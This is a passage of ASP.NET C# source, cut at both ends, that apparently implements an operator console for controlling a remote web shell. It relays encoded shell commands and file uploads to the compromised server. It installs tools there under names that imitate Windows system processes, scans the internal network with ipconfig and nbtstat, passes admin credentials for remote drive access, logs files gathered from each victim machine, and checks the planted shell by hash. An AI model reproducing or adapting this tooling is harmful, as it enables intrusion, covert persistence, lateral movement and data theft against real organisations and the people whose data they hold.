case method.upload:\r\n                        upload(HttpContext.Current.Request.Files[\"uploadFile\"], t[\"uploadPath\"], t[\"isExp\"], t[\"uploadNewName\"]);\r\n                        break;\r\n                    case method.checkModules:\r\n                        checkModules();\r\n                        break;\r\n                    case method.installModule:\r\n                        installModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.uninstallModule:\r\n                        uninstallModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.cmd7z:\r\n                        cmd7z(unpack(t[\"7zclevel\"]), unpack(t[\"7zaddress\"]), unpack(t[\"7zfiles\"]), unpack(t[\"7zvsize\"]), unpack(t[\"7zvmode\"]), unpack(t[\"7zexclude\"]));\r\n                        break;\r\n                    case method.spycheck:\r\n                        spycheck(unpack(t[\"loc\"]));\r\n                        break;\r\n                    case method.getIPFromNbt:\r\n                        getIPFromNbt(unpack(t[\"mode\"]), unpack(t[\"input\"]), unpack(t[\"UseThisSwitch\"]));\r\n                        break;\r\n                    case method.GetLogicDrives:\r\n                        GetLogicDrives(unpack(t[\"exadd\"]), unpack(t[\"adminU\"]), unpack(t[\"adminP\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderCheck:\r\n                        NetworkDownloaderCheck(unpack(t[\"cn\"]), unpack(t[\"ip\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderLog:\r\n                        NetworkDownloaderLog(unpack(t[\"cn\"]), unpack(t[\"log\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderError:\r\n                        NetworkDownloaderError(unpack(t[\"cn\"]), unpack(t[\"error\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDone:\r\n                        NetworkDownloaderDone(unpack(t[\"cn\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDir:\r\n                        NetworkDownloaderDir(unpack(t[\"cn\"]), unpack(t[\"filename\"]), unpack(t[\"text\"]), unpack(t[\"isappend\"]));\r\n                        break;\r\n                    case method.SaveLog:\r\n                        SaveLog(unpack(t[\"path\"]), unpack(t[\"filename\"]), unpack(t[\"content\"]));\r\n                        break;\r\n                    default:\r\n                        proxy(t);\r\n                        break;\r\n                }\r\n            }\r\n            //else\r\n            //    auth();\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            responseAjax(\"Error : \" + ex.Message);\r\n        }\r\n    %>\r\n    <script runat=\"server\">\r\n\r\n\r\n    [WebMethod]\r\n    public static void Download(Main.InputDataClass input)\r\n    {\r\n        Main main = new Main(input, HttpContext.Current);\r\n        new Download(main);\r\n    }\r\n\r\n    enum method\r\n    {\r\n        auth = 0,\r\n        command = 1,\r\n        upload = 2,\r\n        uploadbase64 = 3,\r\n        delete = 4,\r\n        changeTime = 6,\r\n        sqlQuery = 7,\r\n        explorer = 8,\r\n        getsize = 9,\r\n        getlocation = 10,\r\n        rename = 11,\r\n        copy = 12,\r\n        view = 13,\r\n        commandAjax = 14,\r\n        checkModules = 16,\r\n        installModule = 17,\r\n        uninstallModule = 18,\r\n        cmd7z = 19,\r\n        authAjax = 20,\r\n        getlocationAjax = 21,\r\n        spycheck = 22,\r\n        localExplore = 23,\r\n        getIPFromNbt = 26,\r\n        GetLogicDrives = 27,\r\n        NetworkDownloaderCheck = 28,\r\n        NetworkDownloaderLog = 29,\r\n        NetworkDownloaderError = 30,\r\n        NetworkDownloaderDone = 31,\r\n        NetworkDownloaderDir = 32,\r\n        SaveLog = 33\r\n\r\n    };\r\n\r\n    string url, p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd, adminU, adminP, cmdB, loc;\r\n    string SpecialScript, loginStyle;\r\n    string BaseAddress = @\"C:\\Users\\Public\\Libraries\\\";\r\n    string DownloadLocation = @\"C:\\Users\\Public\\Libraries\\DownloadFiles\\\";\r\n    string SpyCheckLocation = @\"C:\\Users\\Public\\Libraries\\SpyCheck\\\";\r\n    string LocationNetworkDownloader = @\"C:\\Users\\Public\\Libraries\\NetworkDownloader\\\";\r\n    string DownloadTemp = @\"C:\\Users\\Public\\Libraries\\DownloadTemp\\\";\r\n\r\n    bool isAjax = false;\r\n\r\n    string ToBase64(string a)\r\n    {\r\n        string ret = \"\";\r\n        try\r\n        {\r\n            ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a));\r\n        }\r\n        catch\r\n        {\r\n        }\r\n        return ret;\r\n    }\r\n\r\n    string FromBase64(string a)\r\n    {\r\n        string ret = \"\";\r\n        try\r\n        {\r\n            ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a));\r\n        }\r\n        catch\r\n        {\r\n        }\r\n        return ret;\r\n    }\r\n\r\n    void proxy(NameValueCollection t)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            ret = SendRequest(url, t);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n    \r\n    protected void Page_Load(object sender, EventArgs e)\r\n    {\r\n        if (!Page.IsPostBack)\r\n        {\r\n            if (!new UserLogin().CheckUser())\r\n                HttpContext.Current.Response.Redirect(\"/default.aspx\");\r\n        }\r\n    }\r\n\r\n    void SaveLog(string path, string filename, string content)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            File.AppendAllText(CheckDirectory(url, BaseAddress + path + \"\\\\\") + filename, content);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    string unpack(string data)\r\n    {\r\n        return isAjax ? FromBase64(data) : data;\r\n    }\r\n\r\n    void GetLogicDrives(string address, string adminU, string adminP)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            //if (address.ToLower().Contains(\"\\\\\\\\localhost\"))\r\n            ret = SendRequest(url, new NameValueCollection()\r\n            {\r\n                {\"m\", ToBase64(((int) method.explorer).ToString())},\r\n                {\"p\", ToBase64(p)},\r\n                {\"exadd\", ToBase64(address)},\r\n                {\"adminU\", ToBase64(adminU)},\r\n                {\"adminP\", ToBase64(adminP)}\r\n            });\r\n            //else\r\n            //{\r\n\r\n            //}\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void NetworkDownloaderCheck(string computerName, string ip)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            ret = \"ok\";\r\n            if (Directory.Exists(LocationNetworkDownloader))\r\n            {\r\n                if (string.IsNullOrEmpty(computerName))\r\n                {\r\n                    //-+\\s+(\\S+)\r\n                    //nbtstat -a 192.168.100.16\r\n\r\n                    string nbtstat = SendRequest(url, new NameValueCollection()\r\n                    {\r\n                        {\"m\", ToBase64(((int) method.command).ToString())},\r\n                        {\"p\", ToBase64(p)},\r\n                        {\"cmd\", ToBase64(string.Format(\"nbtstat -a {0}\", ip))}\r\n                    });\r\n\r\n                    if (nbtstat.Contains(\"Host not found\"))\r\n                    {\r\n                        ret = \"Error : Cannot find computer name from IP Address (Host not found)\";\r\n                    }\r\n                    else\r\n                    {\r\n                        Regex reg = new Regex(@\"-+\\s+(\\S+)\");\r\n                        MatchCollection regResult = reg.Matches(nbtstat);\r\n                        if (regResult.Count > 0)\r\n                        {\r\n                            computerName = regResult[0].Groups[1].Value;\r\n                        }\r\n                        else\r\n                        {\r\n                            ret = \"Error : Cannot find computer name from IP Address (\" + nbtstat + \")\";\r\n                        }\r\n                    }\r\n                }\r\n\r\n                if (!string.IsNullOrEmpty(computerName))\r\n                {\r\n\r\n                    string targetPathIP = CheckDirectory(url, LocationNetworkDownloader) + ip.TrimStart('\\\\') + \"\\\\\";\r\n                    string targetPathCN = CheckDirectory(url, LocationNetworkDownloader) + computerName + \"\\\\\";\r\n                    if (Directory.Exists(targetPathCN))\r\n                    {\r\n                        if (Directory.Exists(targetPathIP))\r\n                            Directory.Move(targetPathIP, targetPathCN + ip.TrimStart('\\\\'));\r\n                    }\r\n                    else if (Directory.Exists(targetPathIP))\r\n                        Directory.Move(targetPathIP, targetPathCN);\r\n                    else\r\n                        Directory.CreateDirectory(targetPathCN);\r\n\r\n                    if (File.Exists(targetPathCN + \"address.txt\"))\r\n                        ret = File.ReadAllText(targetPathCN + \"address.txt\");\r\n\r\n                    //if (File.Exists(targetPathCN + \"done.txt\"))\r\n                    //    ret = \"done|\" + File.ReadAllText(targetPathCN + \"done.txt\");\r\n                    //else if (File.Exists(targetPathCN + \"error.txt\"))\r\n                    //    ret = \"error|\" + File.ReadAllText(targetPathCN + \"error.txt\");\r\n\r\n                    File.AppendAllText(targetPathCN + \"ip.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + \" : \" + ip + Environment.NewLine);\r\n                }\r\n                else\r\n                    ret = \"cnerror|cannot get the computer name\";\r\n            }\r\n            else\r\n                Directory.CreateDirectory(LocationNetworkDownloader);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void NetworkDownloaderLog(string cn, string log)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n            File.AppendAllText(targetPath + \"log.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), log));\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void NetworkDownloaderError(string cn, string error)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n            File.AppendAllText(targetPath + \"error.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), error));\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void NetworkDownloaderDone(string cn)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n            File.AppendAllText(targetPath + \"done.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + Environment.NewLine);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void NetworkDownloaderDir(string cn, string filename, string text, string isappend)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n            if (isappend.ToLower() == \"true\")\r\n                File.AppendAllText(targetPath + filename + \".txt\", text);\r\n            else\r\n                File.WriteAllText(targetPath + filename + \".txt\", text);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void upload(HttpPostedFile uploadFile, string uploadPath, string isExp, string uploadNewName)\r\n    {\r\n        string ret = string.Empty;\r\n        try\r\n        {\r\n            if (uploadFile != null && uploadFile.ContentLength > 0)\r\n            {\r\n                string uploadFileName = uploadFile.FileName;\r\n                if (!string.IsNullOrEmpty(uploadNewName))\r\n                {\r\n                    string dir = Path.GetDirectoryName(uploadFileName);\r\n                    uploadFileName = dir.TrimEnd('\\\\') + \"\\\\\" + uploadNewName;\r\n                }\r\n                ret = SendFile(uploadFile, uploadPath, uploadFileName);\r\n                if (!string.IsNullOrEmpty(isExp))\r\n                {\r\n                    SpecialScript = @\"\r\n afterUpload = function(){\r\n$('[data-tab=\"\"explorer\"\"]').click();\r\ndocument.getElementsByName('exadd')[0].value = '\" + uploadPath.Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\ndocument.getElementById('btnExpror').click();}\";\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n\r\n    public string UploadFile(Stream fStream, string fileName, string dataName, List<KeyValuePair<string, string>> formData)\r\n    {\r\n        HttpWebRequest requestToServerEndpoint = (HttpWebRequest) WebRequest.Create(url);\r\n        string boundaryString = \"----sdfERASDGsdf342GA\";\r\n\r\n        requestToServerEndpoint.Method = WebRequestMethods.Http.Post;\r\n        requestToServerEndpoint.ContentType = \"multipart/form-data; boundary=\" + boundaryString;\r\n        requestToServerEndpoint.KeepAlive = true;\r\n        requestToServerEndpoint.Credentials = System.Net.CredentialCache.DefaultCredentials;\r\n\r\n        MemoryStream postDataStream = new MemoryStream();\r\n        StreamWriter postDataWriter = new StreamWriter(postDataStream);\r\n\r\n        foreach (var item in formData)\r\n        {\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n            postDataWriter.Write(\"Content-Disposition: form-data; name=\\\"{0}\\\"\\r\\n\\r\\n{1}\",\r\n                item.Key,\r\n                ToBase64(item.Value));\r\n        }\r\n\r\n        postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n        postDataWriter.Write(\"Content-Disposition: form-data;\"\r\n                             + \"name=\\\"{0}\\\";\"\r\n                             + \"filename=\\\"{1}\\\"\"\r\n                             + \"\\r\\nContent-Type: multipart/form-data\\r\\n\\r\\n\",\r\n            dataName,\r\n            fileName);\r\n        postDataWriter.Flush();\r\n\r\n        Stream fileStream = fStream;\r\n        byte[] buffer = new byte[1024];\r\n        int bytesRead = 0;\r\n        while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)\r\n        {\r\n            postDataStream.Write(buffer, 0, bytesRead);\r\n        }\r\n        fileStream.Close();\r\n\r\n        postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"--\\r\\n\");\r\n        postDataWriter.Flush();\r\n\r\n        requestToServerEndpoint.ContentLength = postDataStream.Length;\r\n\r\n        using (Stream s = requestToServerEndpoint.GetRequestStream())\r\n        {\r\n            postDataStream.WriteTo(s);\r\n        }\r\n        postDataStream.Close();\r\n\r\n        WebResponse response = requestToServerEndpoint.GetResponse();\r\n        StreamReader responseReader = new StreamReader(response.GetResponseStream());\r\n        string replyFromServer = responseReader.ReadToEnd();\r\n\r\n        return FromBase64(replyFromServer);\r\n    }\r\n\r\n    public string SendFile(HttpPostedFile uploadFile, string uploadPath, string uploadFileName)\r\n    {\r\n        List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n        formData.Add(new KeyValuePair<string, string>(\"uploadPath\", uploadPath));\r\n        formData.Add(new KeyValuePair<string, string>(\"m\", ((int) method.upload).ToString()));\r\n        formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n        return UploadFile(uploadFile.InputStream, uploadFileName /*uploadFile.FileName*/, \"uploadFile\", formData);\r\n    }\r\n\r\n    void auth()\r\n    {\r\n        string ret = string.Empty;\r\n        try\r\n        {\r\n            if (string.IsNullOrEmpty(p))\r\n            {\r\n                if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                    p = FromBase64(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n            }\r\n            else\r\n            {\r\n                HttpCookie coo = new HttpCookie(\"p\", ToBase64(p));\r\n                coo.Expires = DateTime.Now.AddDays(1);\r\n                HttpContext.Current.Response.SetCookie(coo);\r\n            }\r\n\r\n            if (string.IsNullOrEmpty(url))\r\n            {\r\n                if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                    url = FromBase64(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n            }\r\n            else\r\n            {\r\n                HttpCookie coo = new HttpCookie(\"url\", ToBase64(url));\r\n                coo.Expires = DateTime.Now.AddDays(1);\r\n                HttpContext.Current.Response.SetCookie(coo);\r\n            }\r\n\r\n            if (!string.IsNullOrEmpty(p) && !string.IsNullOrEmpty(url))\r\n            {\r\n\r\n                SpecialScript = \"$('#btnLogin').click();\";\r\n\r\n                //string HtmlResult = SendRequest(url, new NameValueCollection() {\r\n                //        { \"m\", ((int)method.auth).ToString()},\r\n                //        { \"p\", p}\r\n                //    });\r\n\r\n                //if (HtmlResult == \"True\")\r\n                //{\r\n                //    ret = \"Login successful\" + Environment.NewLine;\r\n                //    loginStyle = \"login\";\r\n                //    getLoc();\r\n                //    SpecialScript = \"document.getElementById('chkModules').click();\";\r\n                //}\r\n                //else\r\n                //{\r\n                //    ret = \"Login failed\" + Environment.NewLine;\r\n                //    loginStyle = \"logout\";\r\n                //}\r\n\r\n                //HttpCookie coo = new HttpCookie(\"loginStyle\", ToBase64(loginStyle));\r\n                //coo.Expires = DateTime.Now.AddDays(1);\r\n                //HttpContext.Current.Response.SetCookie(coo);\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n    void response(string res)\r\n    {\r\n        log.InnerHtml = res;\r\n    }\r\n\r\n    void responseAjax(string res)\r\n    {\r\n        Response.Clear();\r\n        Response.Write(ToBase64(res));\r\n        Response.Flush();\r\n        Response.SuppressContent = true;\r\n        ApplicationInstance.CompleteRequest();\r\n    }\r\n\r\n    void getLoc()\r\n    {\r\n        loc = SendRequest(url, new NameValueCollection()\r\n        {\r\n            {\"m\", ((int) method.getlocation).ToString()},\r\n            {\"p\", p}\r\n        });\r\n    }\r\n\r\n    void spycheck(string location)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string[] parts1 = url.Split('/');\r\n            string filename = location + parts1[parts1.Length - 1].Split('?')[0];\r\n            if (!filename.EndsWith(\".aspx\"))\r\n                filename += \".aspx\";\r\n            string filetext = SendRequest(url, new NameValueCollection()\r\n            {\r\n                {\"m\", ToBase64(((int) method.command).ToString())},\r\n                {\"p\", ToBase64(p)},\r\n                {\"cmd\", ToBase64(string.Format(\"type \\\"{0}\\\"\", filename))}\r\n            });\r\n            filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n            filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n            filetext = filetext.Substring(filetext.IndexOf(\"&lt;%@\"));\r\n            byte[] fbytes = Encoding.UTF8.GetBytes(filetext);\r\n            string fHash = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(fbytes));\r\n            if (\"EJDdO+gK6uUNe4enhD3MZ/7yI4Bhd7y8bAD2RlLt+xQ=\" == fHash)\r\n                ret = \"True\";\r\n            else\r\n            {\r\n                ret = \"False\";\r\n\r\n                Uri myUri = new Uri(url);\r\n                string host = myUri.Host;\r\n\r\n                string path = SpyCheckLocation + host + \"\\\\\";\r\n\r\n                if (!Directory.Exists(path))\r\n                    Directory.CreateDirectory(path);\r\n\r\n                File.WriteAllText(path + Path.GetFileNameWithoutExtension(myUri.AbsolutePath) + \"_\" + DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\") + Path.GetExtension(myUri.AbsolutePath), HttpUtility.HtmlDecode(filetext));\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void command(string cmd)\r\n    {\r\n        SpecialScript = @\"\r\n$('#inpCmd').val(b64DecodeUnicode('\" + ToBase64(cmd) + @\"'));\r\ncommand($('#inpCmd').get(0));\";\r\n    }\r\n\r\n    private static string CheckDirectory(string url, string dirPath)\r\n    {\r\n        string newPath = string.Empty;\r\n\r\n        if (!dirPath.EndsWith(\"\\\\\"))\r\n            dirPath += \"\\\\\";\r\n\r\n        Uri myUri = new Uri(url);\r\n        string host = myUri.Host;\r\n\r\n        newPath = dirPath + host + \"\\\\\";\r\n\r\n        if (!Directory.Exists(newPath))\r\n            Directory.CreateDirectory(newPath);\r\n\r\n        //if (!Directory.Exists(DownloadTemp))\r\n        //    Directory.CreateDirectory(DownloadTemp);\r\n\r\n        return newPath;\r\n    }\r\n\r\n    class NbtComputer\r\n    {\r\n        public string IP { get; set; }\r\n        public string Domain { get; set; }\r\n        public string ComputerName { get; set; }\r\n        public List<string> Props { get; set; }\r\n        public string Mac { get; set; }\r\n        public string FullDomain { get; set; }\r\n    }\r\n\r\n    class NbtResult\r\n    {\r\n        public string Log { get; set; }\r\n        public List<NbtComputer> NbtComputers { get; set; }\r\n    }\r\n\r\n    private void getIPFromNbt(string mode, string input, string UseThisSwitch)\r\n    {\r\n        NbtResult nbtresult = new NbtResult();\r\n        nbtresult.NbtComputers = new List<NbtComputer>();\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            List<string> IPs = new List<string>();\r\n\r\n            if (mode == \"ipconfig\")\r\n            {\r\n                string ipconfig = SendRequest(url, new NameValueCollection()\r\n                {\r\n                    {\"m\", ToBase64(((int) method.command).ToString())},\r\n                    {\"p\", ToBase64(p)},\r\n                    {\"cmd\", ToBase64(string.Format(\"ipconfig /all 2>&1\"))}\r\n                });\r\n\r\n                Regex rxIPconfig = new Regex(@\"(IPv4 Address)[\\.\\s]+:\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\");\r\n                foreach (Match match in rxIPconfig.Matches(ipconfig))\r\n                {\r\n                    IPs.Add(match.Groups[2].Value + \"/24\");\r\n                }\r\n\r\n                //nbtresult.Log = \"IPs that gatter from ipconfig /all :\" + Environment.NewLine;\r\n            }\r\n            else\r\n            {\r\n                string[] tempSplit = input.Split(',');\r\n                foreach (string item in tempSplit)\r\n                {\r\n                    IPs.Add(item);\r\n                }\r\n            }\r\n\r\n            //foreach (string ip in IPs)\r\n            //{\r\n            //    nbtresult.Log += ip + Environment.NewLine;\r\n            //}\r\n            //nbtresult.Log += Environment.NewLine + \"try nbt on this IPs :\" + Environment.NewLine;\r\n\r\n            foreach (string ip in IPs)\r\n            {\r\n                int count = 0;\r\n                string nbtResult = SendRequest(url, new NameValueCollection()\r\n                {\r\n                    {\"m\", ToBase64(((int) method.command).ToString())},\r\n                    {\"p\", ToBase64(p)},\r\n                    {\"cmd\", ToBase64(string.Format(@\"{0}{1} {2} 2>&1\", moduleFolder + ModuleFileNameTarget[ModuleName.mdlnbt.ToString()].Value, UseThisSwitch, ip))}\r\n                });\r\n\r\n                nbtResult += \"\\r\\n\"; // for correct last line problem in regex \"\\r\\n\"\r\n\r\n                if (UseThisSwitch.Contains(\"-f\"))\r\n                {\r\n                    Regex rxNbtResult = new Regex(@\"(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(\\S*)(\\s+\\w+)+\\r\\n(\\s+\\S+\\s+\\S+\\s+\\w+\\s+[\\w|\\s]+\\r\\n)+\\s+(\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2}:\\w{2})\\s+\\w+\\s+(\\S+)\\r\\n\");\r\n                    foreach (Match item in rxNbtResult.Matches(nbtResult))\r\n                    {\r\n                        count++;\r\n                        NbtComputer nc = new NbtComputer();\r\n                        nc.IP = item.Groups[1].Value;\r\n                        nc.Domain = item.Groups[2].Value.Split('\\\\')[0];\r\n                        nc.ComputerName = item.Groups[2].Value.Split('\\\\')[1];\r\n                        nc.Props = new List<string>();\r\n                        foreach (Capture c in item.Groups[3].Captures)\r\n                        {\r\n                            nc.Props.Add(c.Value.Trim());\r\n                        }\r\n                        nc.Mac = item.Groups[5].Value;\r\n                        nc.FullDomain = item.Groups[6].Value;\r\n\r\n                        if (!nbtresult.NbtComputers.Exists(e => e.IP == item.Groups[1].Value && e.ComputerName == item.Groups[2].Value.Split('\\\\')[1]))\r\n                        {\r\n                            nbtresult.NbtComputers.Add(nc);\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    Regex rxNbtResultWithoutDashF = new Regex(@\"(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+(\\S*)(\\s+\\w+)+\\r\\n\");\r\n                    foreach (Match item in rxNbtResultWithoutDashF.Matches(nbtResult))\r\n                    {\r\n                        count++;\r\n                        NbtComputer nc = new NbtComputer();\r\n                        nc.IP = item.Groups[1].Value;\r\n                        nc.Domain = item.Groups[2].Value.Split('\\\\')[0];\r\n                        nc.ComputerName = item.Groups[2].Value.Split('\\\\')[1];\r\n                        nc.Props = new List<string>();\r\n                        foreach (Capture c in item.Groups[3].Captures)\r\n                        {\r\n                            nc.Props.Add(c.Value.Trim());\r\n                        }\r\n\r\n                        if (!nbtresult.NbtComputers.Exists(e => e.IP == item.Groups[1].Value && e.ComputerName == item.Groups[2].Value.Split('\\\\')[1]))\r\n                        {\r\n                            nbtresult.NbtComputers.Add(nc);\r\n                        }\r\n                    }\r\n                }\r\n                nbtresult.Log += ip + \" -> \" + count;\r\n            }\r\n\r\n            ret = JsonConvert.SerializeObject(nbtresult);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n        #region [ Modules ]\r\n\r\n    string moduleFolder = @\"C:\\ProgramData\\Microsoft\\SettingsTools\\\";\r\n\r\n    KeyValueConfigurationCollection ModuleFileName = new KeyValueConfigurationCollection()\r\n    {\r\n        {ModuleName.mdl7z.ToString(), \"7za.exe\"},\r\n        {ModuleName.mdlrx.ToString(), \"rx.exe\"},\r\n        {ModuleName.mdlnbt.ToString(), \"nbt.exe\"},\r\n        {ModuleName.mdlhb.ToString(), \"hb.exe\"},\r\n        {ModuleName.mdltar.ToString(), \"tardigrade.exe\"}\r\n    };\r\n\r\n    KeyValueConfigurationCollection ModuleFileNameTarget = new KeyValueConfigurationCollection()\r\n    {\r\n        {ModuleName.mdl7z.ToString(), \"rdpclip.exe\"},\r\n        {ModuleName.mdlrx.ToString(), \"sppsvc.exe\"},\r\n        {ModuleName.mdlnbt.ToString(), \"spoolsv.exe\"},\r\n        {ModuleName.mdlhb.ToString(), \"taskmgr.exe\"},\r\n        {ModuleName.mdltar.ToString(), \"searchUI.exe\"}\r\n    };\r\n\r\n    enum ModuleName\r\n    {\r\n        mdl7z,\r\n        mdlrx,\r\n        mdlnbt,\r\n        mdlhb,\r\n        mdltar\r\n    };\r\n\r\n    void checkModules()\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n\r\n            string dirModule = SendRequest(url, new NameValueCollection()\r\n            {\r\n                {\"m\", ToBase64(((int) method.command).ToString())},\r\n                {\"p\", ToBase64(p)},\r\n                {\"cmd\", ToBase64(string.Format(\"dir \\\"{0}\\\"\", moduleFolder))}\r\n            });\r\n\r\n            ret = \"{\\\"modules\\\":[\";\r\n            string mdlList = string.Empty;\r\n\r\n            foreach (string name in Enum.GetNames(typeof(ModuleName)))\r\n            {\r\n                if (dirModule.Contains(ModuleFileNameTarget[name].Value))\r\n                {\r\n                    if (!string.IsNullOrEmpty(mdlList))\r\n                        mdlList += \",\";\r\n                    mdlList += string.Format(\"\\\"{0}\\\"\", name);\r\n                }\r\n            }\r\n\r\n            ret += mdlList + \"]}\";\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void installModule(string moduleName)\r\n    {\r\n        string ret = \"Error : -\";\r\n\r\n        try\r\n        {\r\n            string targetFileName = string.Empty;\r\n            string filePath = Server.MapPath(string.Empty) + \"\\\\files\\\\\";\r\n\r\n            filePath += ModuleFileName[moduleName].Value;\r\n            targetFileName = ModuleFileNameTarget[moduleName].Value;\r\n\r\n            if (!string.IsNullOrEmpty(targetFileName))\r\n            {\r\n                List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n                formData.Add(new KeyValuePair<string, string>(\"uploadPath\", moduleFolder + targetFileName));\r\n                formData.Add(new KeyValuePair<string, string>(\"m\", ((int) method.upload).ToString()));\r\n                formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n                using (Stream fStream = File.OpenRead(filePath))\r\n                {\r\n                    ret = UploadFile(fStream, Path.GetFileName(filePath), \"uploadFile\", formData);\r\n                    if (ret.Contains(\"successfully\"))\r\n                        ret = \"Module '\" + moduleFolder + targetFileName + \"' installed successfuly.\";\r\n                }\r\n            }\r\n            else\r\n                ret = \"Error : Module name is invalid\";\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        responseAjax(ret);\r\n    }\r\n\r\n    void uninstallModule(string moduleName)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            string modulePath = moduleFolder + ModuleFileNameTarget[moduleName].Value;\r\n            SendRequest(url, new NameValueCollection()\r\n            {\r\n                {\"m\", ToBase64(((int) method.command).ToString())},\r\n                {\"p\", ToBase64(p)},\r\n                {\"cmd\", ToBase64(string.Format(\"del \\\"{0}\\\"\", modulePath))}\r\n            });\r\n            string dirModule = SendRequest(url, new NameValueCollection()\r\n            {\r\n                {\"m\", ToBase64(((int) method.command).ToString())},\r\n                {\"p\", ToBase64(p)},\r\n                {\"cmd\", ToBase64(string.Format(\"dir \\\"{0}\\\" 2>&1\", modulePath))}\r\n            });\r\n            if (dirModule.Contains(\"File Not Found\"))\r\n                ret = \"Module '\" + modulePath + \"' uninstalled successfuly.\";\r\n            